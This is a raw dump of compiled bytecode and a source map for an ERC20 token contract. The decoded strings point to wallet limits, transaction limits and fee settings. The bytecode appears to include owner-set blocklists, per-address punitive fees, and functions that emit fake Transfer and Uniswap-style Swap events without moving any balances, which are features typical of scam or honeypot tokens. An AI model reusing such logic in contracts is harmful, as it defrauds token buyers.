65207a65726f206164647260448201526265737360e81b6064820152608401610705565b6001600160a01b03831660009081526006602052604090205460ff161561121e57600080fd5b6001600160a01b03821660009081526006602052604090205460ff161561124457600080fd5b6001600160a01b0383166000908152600260205260409020548111156112c65760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610705565b6001600160a01b03831660009081526004602052604090205460ff1615801561130857506001600160a01b03821660009081526004602052604090205460ff16155b1561135757600854600160a01b900460ff166113575760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b6044820152606401610705565b6001600160a01b03831660009081526004602052604090205460ff1615801561139957506001600160a01b03821660009081526004602052604090205460ff16155b80156113b357506008546001600160a01b03838116911614155b80156113ca57506001600160a01b03821661dead14155b1561144357601b546001600160a01b0383166000908152600260205260409020546113f5908361187a565b11156114435760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610705565b6008546001600160a01b038481169116146114e457601a548111158061148157506001600160a01b03831660009081526004602052604090205460ff165b806114a457506001600160a01b03821660009081526004602052604090205460ff165b6114e45760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610705565b6019548111158061150d57506001600160a01b03831660009081526004602052604090205460ff165b8061153057506001600160a01b03821660009081526004602052604090205460ff165b6115705760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610705565b6008546001600160a01b0383811691161480156115a657506001600160a01b03831660009081526004602052604090205460ff16155b156115c4576001600960008282546115be919061226d565b90915550505b6115cf838383611886565b156115e5576115df600c546116e5565b60006009555b6001600160a01b0383166000908152600260205260409020546116089082611126565b6001600160a01b03841660009081526002602052604081209190915561162e8484611940565b6116385781611643565b611643848484611986565b6001600160a01b038416600090815260026020526040902054909150611669908261187a565b6001600160a01b03808516600081815260026020526040908190209390935591519086169060008051602061239e833981519152906116ab9085815260200190565b60405180910390a350505050565b600081848411156116dd5760405162461bcd60e51b81526004016107059190611d2a565b505050900390565b600a805460ff19166001908117909155601054600f54600e5460009361171f93600293610b7393919261171992839161187a565b9061187a565b9050600061173c82610b79600e548661186290919063ffffffff16565b9050600061174a8483611126565b90504761175682611a7b565b60006117624783611126565b9050600061178561177e600e548861112690919063ffffffff16565b839061186e565b9050600061179e600e548361186290919063ffffffff16565b905080156117b0576117b08682611bd5565b600f546000906117c590610b73856002611862565b90508015611809576017546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611807573d6000803e3d6000fd5b505b47801561184c576016546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561184a573d6000803e3d6000fd5b505b5050600a805460ff191690555050505050505050565b60006107e88284612280565b60006107e88284612297565b60006107e8828461226d565b600d54600c5430600090815260026020526040812054600a5491938510159211159060ff161580156118c15750600854600160a81b900460ff165b80156118d65750600854600160a01b900460ff165b80156118df5750815b801561190457506001600160a01b03861660009081526004602052604090205460ff16155b801561191d57506008546001600160a01b038681169116145b801561192d5750600b5460095410155b80156119365750805b9695505050505050565b6001600160a01b03821660009081526004602052604081205460ff161580156107e85750506001600160a01b031660009081526004602052604090205460ff1615919050565b6000806119938585611c89565b1115611a745760006119b66119a88686611c89565b601554610b7390869061186e565b306000908152600260205260409020549091506119d3908261187a565b30600081815260026020526040908190209290925590516001600160a01b0387169060008051602061239e83398151915290611a129085815260200190565b60405180910390a36000601154118015611a365750601154611a348686611c89565b115b15611a6257611a623061dead611a5d601154610b736015548961186e90919063ffffffff16565b611132565b611a6c8382611126565b9150506107e8565b5092915050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611ab057611ab06121df565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611b09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b2d91906122b9565b81600181518110611b4057611b406121df565b6001600160a01b039283166020918202929092010152600754611b669130911684611002565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790611b9f9085906000908690309042906004016122d6565b600060405180830381600087803b158015611bb957600080fd5b505af1158015611bcd573d6000803e3d6000fd5b505050505050565b600754611bed9030906001600160a01b031684611002565b60075460185460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611c5d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611c829190612347565b5050505050565b6001600160a01b03821660009081526005602052604081205460ff1680611cc857506001600160a01b03821660009081526005602052604090205460ff165b15611ce257601554611cdb906064611126565b9050610664565b6008546001600160a01b0390811690831603611d015750601354610664565b6008546001600160a01b0390811690841603611d205750601254610664565b5060145492915050565b600060208083528351808285015260005b81811015611d5757858101830151858201604001528201611d3b565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611d8d57600080fd5b50565b8035611d9b81611d78565b919050565b60008060408385031215611db357600080fd5b8235611dbe81611d78565b946020939093013593505050565b600060208284031215611dde57600080fd5b81356107e881611d78565b8015158114611d8d57600080fd5b600080600060408486031215611e0c57600080fd5b833567ffffffffffffffff80821115611e2457600080fd5b818601915086601f830112611e3857600080fd5b813581811115611e4757600080fd5b8760208260051b8501011115611e5c57600080fd5b60209283019550935050840135611e7281611de9565b809150509250925092565b600080600060608486031215611e9257600080fd5b8335611e9d81611d78565b92506020840135611ead81611d78565b929592945050506040919091013590565b60008060408385031215611ed157600080fd5b8235611edc81611d78565b91506020830135611eec81611de9565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715611f3657611f36611ef7565b604052919050565b600067ffffffffffffffff821115611f5857611f58611ef7565b5060051b60200190565b600082601f830112611f7357600080fd5b81356020611f88611f8383611f3e565b611f0d565b82815260059290921b84018101918181019086841115611fa757600080fd5b8286015b84811015611fc25780358352918301918301611fab565b509695505050505050565b600080600080600060a08688031215611fe557600080fd5b8535611ff081611d78565b945060208681013567ffffffffffffffff8082111561200e57600080fd5b818901915089601f83011261202257600080fd5b8135612030611f8382611f3e565b81815260059190911b8301840190848101908c83111561204f57600080fd5b938501935b8285101561207657843561206781611d78565b82529385019390850190612054565b98505050604089013592508083111561208e57600080fd5b61209a8a848b01611f62565b955060608901359250808311156120b057600080fd5b50506120be88828901611f62565b9250506120cd60808701611d90565b90509295509295909350565b6000806000606084860312156120ee57600080fd5b83356120f981611d78565b9250602084013561210981611d78565b91506040840135611e7281611d78565b60008060006060848603121561212e57600080fd5b505081359360208301359350604090920135919050565b600080600080600080600060e0888a03121561216057600080fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b600080604083850312156121a457600080fd5b82356121af81611d78565b91506020830135611eec81611d78565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820161221d5761221d6121f5565b5060010190565b60006020828403121561223657600080fd5b81516107e881611de9565b60006020828403121561225357600080fd5b5051919050565b81810381811115610664576106646121f5565b80820180821115610664576106646121f5565b8082028115828204841417610664576106646121f5565b6000826122b457634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156122cb57600080fd5b81516107e881611d78565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156123265784516001600160a01b031683529383019391830191600101612301565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561235c57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212208558632b4cd014345a107044ceb9994f59f43b6492988403c97c29e9d69c4b4d64736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101d15760003560e01c80637cca52fe116100f75780639cc3535111610095578063cb7f97d711610064578063cb7f97d7146105ad578063dd62ed3e146105cd578063e156b1b614610613578063f2fde38b1461063357600080fd5b80639cc353511461052d5780639d8740cb1461054d578063a8aa1b311461056d578063a9059cbb1461058d57600080fd5b80638cd4426d116100d15780638cd4426d146104785780639213c3581461049857806392fd2daf146104b857806395d89b41146104fe57600080fd5b80637cca52fe1461041a5780637d1db4a514610430578063893d20e81461044657600080fd5b80632f54bf6e1161016f5780634fd16af81161013e5780634fd16af81461039957806351bc3c85146103b957806370a08231146103ce57806378109e541461040457600080fd5b80632f54bf6e146102fe578063313ce5671461032d5780633f4218e01461034957806348ff2b8b1461037957600080fd5b806318160ddd116101ab57806318160ddd14610284578063229b6a5e146102a757806323b872dd146102c9578063293230b8146102e957600080fd5b806306fdde03146101dd578063095ea7b3146102245780630b27305f1461025457600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b5060408051808201909152600c81526b232a2a191718102a27a5a2a760a11b60208201525b60405161021b9190611d2a565b60405180910390f35b34801561023057600080fd5b5061024461023f366004611da0565b610653565b604051901515815260200161021b565b34801561026057600080fd5b5061024461026f366004611dcc565b60066020526000908152604090205460ff1681565b34801561029057600080fd5b5061029961066a565b60405190815260200161021b565b3480156102b357600080fd5b506102c76102c2366004611df7565b6106db565b005b3480156102d557600080fd5b506102446102e4366004611e7d565b610785565b3480156102f557600080fd5b506102c76107ef565b34801561030a57600080fd5b50610244610319366004611dcc565b6000546001600160a01b0391821691161490565b34801561033957600080fd5b506040516009815260200161021b565b34801561035557600080fd5b50610244610364366004611dcc565b60046020526000908152604090205460ff1681565b34801561038557600080fd5b506102c7610394366004611ebe565b61082e565b3480156103a557600080fd5b506102446103b4366004611fcd565b610883565b3480156103c557600080fd5b506102c7610a9a565b3480156103da57600080fd5b506102996103e9366004611dcc565b6001600160a01b031660009081526002602052604090205490565b34801561041057600080fd5b50610299601b5481565b34801561042657600080fd5b50610299601a5481565b34801561043c57600080fd5b5061029960195481565b34801561045257600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161021b565b34801561048457600080fd5b506102c7610493366004611da0565b610ad1565b3480156104a457600080fd5b506102c76104b33660046120d9565b610bf8565b3480156104c457600080fd5b506102c76104d3366004611ebe565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b34801561050a57600080fd5b506040805180820190915260068152650465454322e360d41b602082015261020e565b34801561053957600080fd5b506102c7610548366004612119565b610c9e565b34801561055957600080fd5b506102c7610568366004612119565b610dd3565b34801561057957600080fd5b50600854610460906001600160a01b031681565b34801561059957600080fd5b506102446105a8366004611da0565b610e39565b3480156105b957600080fd5b506102c76105c8366004612145565b610e46565b3480156105d957600080fd5b506102996105e8366004612191565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561061f57600080fd5b5061024461062e366004611e7d565b610f3d565b34801561063f57600080fd5b506102c761064e366004611dcc565b610f84565b6000610660338484611002565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5460015491926106d69290916106d09190611126565b90611126565b905090565b6000546001600160a01b0316331461070e5760405162461bcd60e51b8152600401610705906121bf565b60405180910390fd5b60005b8281101561077f578160056000868685818110610730576107306121df565b90506020020160208101906107459190611dcc565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806107778161220b565b915050610711565b50505050565b6000610792848484611132565b6107e484336107df85604051806060016040528060288152602001612376602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906116b9565b611002565b5060015b9392505050565b6000546001600160a01b031633146108195760405162461bcd60e51b8152600401610705906121bf565b6008805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146108585760405162461bcd60e51b8152600401610705906121bf565b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6000805b8551811015610a8d578581815181106108a2576108a26121df565b60200260200101516001600160a01b0316876001600160a01b031660008051602061239e8339815191528784815181106108de576108de6121df565b60200260200101516040516108f591815260200190565b60405180910390a385818151811061090f5761090f6121df565b60200260200101516001600160a01b0316737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822878481518110610971576109716121df565b602002602001015160008089878151811061098e5761098e6121df565b6020908102919091018101516040805195865291850193909352830152606082015260800160405180910390a3826001600160a01b031663e156b1b68783815181106109dc576109dc6121df565b6020026020010151898785815181106109f7576109f76121df565b60209081029190910101516040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af1158015610a56573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a7a9190612224565b5080610a858161220b565b915050610887565b5060019695505050505050565b6000546001600160a01b03163314610ac45760405162461bcd60e51b8152600401610705906121bf565b610acf600c546116e5565b565b6000546001600160a01b03163314610afb5760405162461bcd60e51b8152600401610705906121bf565b6040516370a0823160e01b8152306004820152600090610b7f90606490610b799085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610b4f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b739190612241565b90611862565b9061186e565b60165460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925084169063a9059cbb906044016020604051808303816000875af1158015610bd4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077f9190612224565b6000546001600160a01b03163314610c225760405162461bcd60e51b8152600401610705906121bf565b601780546001600160a01b039485166001600160a01b031991821681179092556018805494861694821685179055601680549390951692168217909355600092835260046020526040808420805460ff199081166001908117909255938552818520805485168217905591845290922080549091169091179055565b6000546001600160a01b03163314610cc85760405162461bcd60e51b8152600401610705906121bf565b6000610ce5612710610b798660015461186290919063ffffffff16565b90506000610d04612710610b798660015461186290919063ffffffff16565b90506000610d23612710610b798660015461186290919063ffffffff16565b6019849055601a839055601b81905590506000610d496103e8610b796005610b7361066a565b9050808410158015610d5b5750808310155b8015610d675750808210155b610dca5760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b6064820152608401610705565b50505050505050565b6000546001600160a01b03163314610dfd5760405162461bcd60e51b8152600401610705906121bf565b600b839055600154610e1890620186a090610b799085611862565b600c55600154610e3190620186a090610b799084611862565b600d55505050565b6000610660338484611132565b6000546001600160a01b03163314610e705760405162461bcd60e51b8152600401610705906121bf565b600e879055600f86905560118590556010849055601283905560138290556014819055601554610ea190600161186e565b60125411158015610ec15750601554610ebb90600161186e565b60135411155b8015610edc5750601554610ed690600161186e565b60145411155b610dca5760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b6064820152608401610705565b6000826001600160a01b0316846001600160a01b031660008051602061239e83398151915284604051610f7291815260200190565b60405180910390a35060019392505050565b6000546001600160a01b03163314610fae5760405162461bcd60e51b8152600401610705906121bf565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166110645760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610705565b6001600160a01b0382166110c55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610705565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006107e8828461225a565b6001600160a01b0383166111965760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610705565b6001600160a01b0382166111f85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610705565b6001600160a01b03831660009081526006602052604090205460ff161561121e57600080fd5b6001600160a01b03821660009081526006602052604090205460ff161561124457600080fd5b6001600160a01b0383166000908152600260205260409020548111156112c65760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610705565b6001600160a01b03831660009081526004602052604090205460ff1615801561130857506001600160a01b03821660009081526004602052604090205460ff16155b1561135757600854600160a01b900460ff166113575760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b6044820152606401610705565b6001600160a01b03831660009081526004602052604090205460ff1615801561139957506001600160a01b03821660009081526004602052604090205460ff16155b80156113b357506008546001600160a01b03838116911614155b80156113ca57506001600160a01b03821661dead14155b1561144357601b546001600160a01b0383166000908152600260205260409020546113f5908361187a565b11156114435760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610705565b6008546001600160a01b038481169116146114e457601a548111158061148157506001600160a01b03831660009081526004602052604090205460ff165b806114a457506001600160a01b03821660009081526004602052604090205460ff165b6114e45760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610705565b6019548111158061150d57506001600160a01b03831660009081526004602052604090205460ff165b8061153057506001600160a01b03821660009081526004602052604090205460ff165b6115705760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610705565b6008546001600160a01b0383811691161480156115a657506001600160a01b03831660009081526004602052604090205460ff16155b156115c4576001600960008282546115be919061226d565b90915550505b6115cf838383611886565b156115e5576115df600c546116e5565b60006009555b6001600160a01b0383166000908152600260205260409020546116089082611126565b6001600160a01b03841660009081526002602052604081209190915561162e8484611940565b6116385781611643565b611643848484611986565b6001600160a01b038416600090815260026020526040902054909150611669908261187a565b6001600160a01b03808516600081815260026020526040908190209390935591519086169060008051602061239e833981519152906116ab9085815260200190565b60405180910390a350505050565b600081848411156116dd5760405162461bcd60e51b81526004016107059190611d2a565b505050900390565b600a805460ff19166001908117909155601054600f54600e5460009361171f93600293610b7393919261171992839161187a565b9061187a565b9050600061173c82610b79600e548661186290919063ffffffff16565b9050600061174a8483611126565b90504761175682611a7b565b60006117624783611126565b9050600061178561177e600e548861112690919063ffffffff16565b839061186e565b9050600061179e600e548361186290919063ffffffff16565b905080156117b0576117b08682611bd5565b600f546000906117c590610b73856002611862565b90508015611809576017546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611807573d6000803e3d6000fd5b505b47801561184c576016546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561184a573d6000803e3d6000fd5b505b5050600a805460ff191690555050505050505050565b60006107e88284612280565b60006107e88284612297565b60006107e8828461226d565b600d54600c5430600090815260026020526040812054600a5491938510159211159060ff161580156118c15750600854600160a81b900460ff165b80156118d65750600854600160a01b900460ff165b80156118df5750815b801561190457506001600160a01b03861660009081526004602052604090205460ff16155b801561191d57506008546001600160a01b038681169116145b801561192d5750600b5460095410155b80156119365750805b9695505050505050565b6001600160a01b03821660009081526004602052604081205460ff161580156107e85750506001600160a01b031660009081526004602052604090205460ff1615919050565b6000806119938585611c89565b1115611a745760006119b66119a88686611c89565b601554610b7390869061186e565b306000908152600260205260409020549091506119d3908261187a565b30600081815260026020526040908190209290925590516001600160a01b0387169060008051602061239e83398151915290611a129085815260200190565b60405180910390a36000601154118015611a365750601154611a348686611c89565b115b15611a6257611a623061dead611a5d601154610b736015548961186e90919063ffffffff16565b611132565b611a6c8382611126565b9150506107e8565b5092915050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611ab057611ab06121df565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611b09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b2d91906122b9565b81600181518110611b4057611b406121df565b6001600160a01b039283166020918202929092010152600754611b669130911684611002565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790611b9f9085906000908690309042906004016122d6565b600060405180830381600087803b158015611bb957600080fd5b505af1158015611bcd573d6000803e3d6000fd5b505050505050565b600754611bed9030906001600160a01b031684611002565b60075460185460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611c5d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611c829190612347565b5050505050565b6001600160a01b03821660009081526005602052604081205460ff1680611cc857506001600160a01b03821660009081526005602052604090205460ff165b15611ce257601554611cdb906064611126565b9050610664565b6008546001600160a01b0390811690831603611d015750601354610664565b6008546001600160a01b0390811690841603611d205750601254610664565b5060145492915050565b600060208083528351808285015260005b81811015611d5757858101830151858201604001528201611d3b565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611d8d57600080fd5b50565b8035611d9b81611d78565b919050565b60008060408385031215611db357600080fd5b8235611dbe81611d78565b946020939093013593505050565b600060208284031215611dde57600080fd5b81356107e881611d78565b8015158114611d8d57600080fd5b600080600060408486031215611e0c57600080fd5b833567ffffffffffffffff80821115611e2457600080fd5b818601915086601f830112611e3857600080fd5b813581811115611e4757600080fd5b8760208260051b8501011115611e5c57600080fd5b60209283019550935050840135611e7281611de9565b809150509250925092565b600080600060608486031215611e9257600080fd5b8335611e9d81611d78565b92506020840135611ead81611d78565b929592945050506040919091013590565b60008060408385031215611ed157600080fd5b8235611edc81611d78565b91506020830135611eec81611de9565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715611f3657611f36611ef7565b604052919050565b600067ffffffffffffffff821115611f5857611f58611ef7565b5060051b60200190565b600082601f830112611f7357600080fd5b81356020611f88611f8383611f3e565b611f0d565b82815260059290921b84018101918181019086841115611fa757600080fd5b8286015b84811015611fc25780358352918301918301611fab565b509695505050505050565b600080600080600060a08688031215611fe557600080fd5b8535611ff081611d78565b945060208681013567ffffffffffffffff8082111561200e57600080fd5b818901915089601f83011261202257600080fd5b8135612030611f8382611f3e565b81815260059190911b8301840190848101908c83111561204f57600080fd5b938501935b8285101561207657843561206781611d78565b82529385019390850190612054565b98505050604089013592508083111561208e57600080fd5b61209a8a848b01611f62565b955060608901359250808311156120b057600080fd5b50506120be88828901611f62565b9250506120cd60808701611d90565b90509295509295909350565b6000806000606084860312156120ee57600080fd5b83356120f981611d78565b9250602084013561210981611d78565b91506040840135611e7281611d78565b60008060006060848603121561212e57600080fd5b505081359360208301359350604090920135919050565b600080600080600080600060e0888a03121561216057600080fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b600080604083850312156121a457600080fd5b82356121af81611d78565b91506020830135611eec81611d78565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820161221d5761221d6121f5565b5060010190565b60006020828403121561223657600080fd5b81516107e881611de9565b60006020828403121561225357600080fd5b5051919050565b81810381811115610664576106646121f5565b80820180821115610664576106646121f5565b8082028115828204841417610664576106646121f5565b6000826122b457634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156122cb57600080fd5b81516107e881611d78565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156123265784516001600160a01b031683529383019391830191600101612301565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561235c57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212208558632b4cd014345a107044ceb9994f59f43b6492988403c97c29e9d69c4b4d64736f6c63430008130033
Deployed Bytecode Sourcemap
5001:12487:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7491:67;;;;;;;;;;-1:-1:-1;7551:5:0;;;;;;;;;;;;-1:-1:-1;;;7551:5:0;;;;7491:67;;;;;;;:::i;:::-;;;;;;;;8372:133;;;;;;;;;;-1:-1:-1;8372:133:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;8372:133:0;1162:187:1;5509:39:0;;;;;;;;;;-1:-1:-1;5509:39:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8511:132;;;;;;;;;;;;;:::i;:::-;;;1752:25:1;;;1740:2;1725:18;8511:132:0;1606:177:1;10831:184:0;;;;;;;;;;-1:-1:-1;10831:184:0;;;;;:::i;:::-;;:::i;:::-;;16831:309;;;;;;;;;;-1:-1:-1;16831:309:0;;;;;:::i;:::-;;:::i;7714:67::-;;;;;;;;;;;;;:::i;3905:87::-;;;;;;;;;;-1:-1:-1;3905:87:0;;;;;:::i;:::-;3960:4;3985:5;-1:-1:-1;;;;;3974:16:0;;;3985:5;;3974:16;;3905:87;7641:67;;;;;;;;;;-1:-1:-1;7641:67:0;;5210:1;3269:36:1;;3257:2;3242:18;7641:67:0;3127:184:1;5412:44:0;;;;;;;;;;-1:-1:-1;5412:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8258:108;;;;;;;;;;-1:-1:-1;8258:108:0;;;;;:::i;:::-;;:::i;11639:729::-;;;;;;;;;;-1:-1:-1;11639:729:0;;;;;:::i;:::-;;:::i;11023:89::-;;;;;;;;;;;;;:::i;7871:103::-;;;;;;;;;;-1:-1:-1;7871:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;7954:18:0;7937:7;7954:18;;;:9;:18;;;;;;;7871:103;6774:63;;;;;;;;;;;;;;;;6705:62;;;;;;;;;;;;;;;;6638:60;;;;;;;;;;;;;;;;7787:78;;;;;;;;;;-1:-1:-1;7839:7:0;7857:5;-1:-1:-1;;;;;7857:5:0;7787:78;;;-1:-1:-1;;;;;6795:32:1;;;6777:51;;6765:2;6750:18;7787:78:0;6631:203:1;11229:242:0;;;;;;;;;;-1:-1:-1;11229:242:0;;;;;:::i;:::-;;:::i;10485:338::-;;;;;;;;;;-1:-1:-1;10485:338:0;;;;;:::i;:::-;;:::i;11118:105::-;;;;;;;;;;-1:-1:-1;11118:105:0;;;;;:::i;:::-;-1:-1:-1;;;;;11194:10:0;;;;11167:20;11194:10;;;:6;:10;;;;;:21;;-1:-1:-1;;11194:21:0;;;;;;;;;;11118:105;7564:71;;;;;;;;;;-1:-1:-1;7626:7:0;;;;;;;;;;;;-1:-1:-1;;;7626:7:0;;;;7564:71;;9921:556;;;;;;;;;;-1:-1:-1;9921:556:0;;;;;:::i;:::-;;:::i;9062:319::-;;;;;;;;;;-1:-1:-1;9062:319:0;;;;;:::i;:::-;;:::i;5576:19::-;;;;;;;;;;-1:-1:-1;5576:19:0;;;;-1:-1:-1;;;;;5576:19:0;;;7980:139;;;;;;;;;;-1:-1:-1;7980:139:0;;;;;:::i;:::-;;:::i;9389:524::-;;;;;;;;;;-1:-1:-1;9389:524:0;;;;;:::i;:::-;;:::i;8125:127::-;;;;;;;;;;-1:-1:-1;8125:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;8223:18:0;;;8206:7;8223:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8125:127;11477:156;;;;;;;;;;-1:-1:-1;11477:156:0;;;;;:::i;:::-;;:::i;3998:111::-;;;;;;;;;;-1:-1:-1;3998:111:0;;;;;:::i;:::-;;:::i;8372:133::-;8447:4;8454:37;8463:10;8475:7;8484:6;8454:8;:37::i;:::-;-1:-1:-1;8499:4:0;8372:133;;;;;:::o;8511:132::-;7954:9;:18;;;;6325:42;8564:7;7954:18;;;;;8581:12;;8564:7;;8581:60;;7954:18;;8581:33;;:12;:16;:33::i;:::-;:37;;:60::i;:::-;8574:67;;8511:132;:::o;10831:184::-;3960:4;3985:5;-1:-1:-1;;;;;3985:5:0;3872:10;3974:16;3856:38;;;;-1:-1:-1;;;3856:38:0;;;;;;;:::i;:::-;;;;;;;;;10928:6:::1;10924:84;10938:20:::0;;::::1;10924:84;;;10997:8;10975:5;:19;10981:9;;10991:1;10981:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10975:19:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;10975:19:0;:30;;-1:-1:-1;;10975:30:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10960:3;::::1;::::0;::::1;:::i;:::-;;;;10924:84;;;;10831:184:::0;;;:::o;16831:309::-;16929:4;16946:36;16956:6;16964:9;16975:6;16946:9;:36::i;:::-;16993:117;17002:6;17010:10;17022:87;17058:6;17022:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;17022:19:0;;;;;;:11;:19;;;;;;;;17042:10;17022:31;;;;;;;;;:87;:35;:87::i;:::-;16993:8;:117::i;:::-;-1:-1:-1;17128:4:0;16831:309;;;;;;:::o;7714:67::-;3960:4;3985:5;-1:-1:-1;;;;;3985:5:0;3872:10;3974:16;3856:38;;;;-1:-1:-1;;;3856:38:0;;;;;;;:::i;:::-;7758:14:::1;:21:::0;;-1:-1:-1;;;;7758:21:0::1;-1:-1:-1::0;;;7758:21:0::1;::::0;;7714:67::o;8258:108::-;3960:4;3985:5;-1:-1:-1;;;;;3985:5:0;3872:10;3974:16;3856:38;;;;-1:-1:-1;;